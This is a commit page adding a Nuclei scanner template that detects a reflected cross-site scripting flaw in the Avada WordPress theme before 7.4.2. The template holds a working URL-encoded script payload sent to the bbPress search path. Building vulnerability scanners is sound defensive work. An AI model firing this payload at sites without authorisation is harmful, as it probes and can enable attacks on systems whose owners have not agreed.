Merge pull request #4222 from projectdiscovery/avada-xss

Create avada-xss.yaml
patch-1
Prince Chaddha 2022-04-22 13:25:40 +04:00 committed by GitHub
commit 2017b9bce7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 32 additions and 0 deletions

View File

@ -0,0 +1,32 @@
id: avada-xss
info:
name: Avada < 7.4.2 - Reflected Cross-Site Scripting
author: Akincibor
severity: medium
description: The theme does not properly escape bbPress searches before outputting them back as breadcrumbs, leading to a Reflected Cross-Site Scripting issue.
reference:
- https://wpscan.com/vulnerability/eb172b07-56ab-41ce-92a1-be38bab567cb
- https://theme-fusion.com/documentation/avada/installation-maintenance/avada-changelog/
tags: xss,wp,wordpress,wp-theme,avada
requests:
- method: GET
path:
- '{{BaseURL}}/forums/search/z-->%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200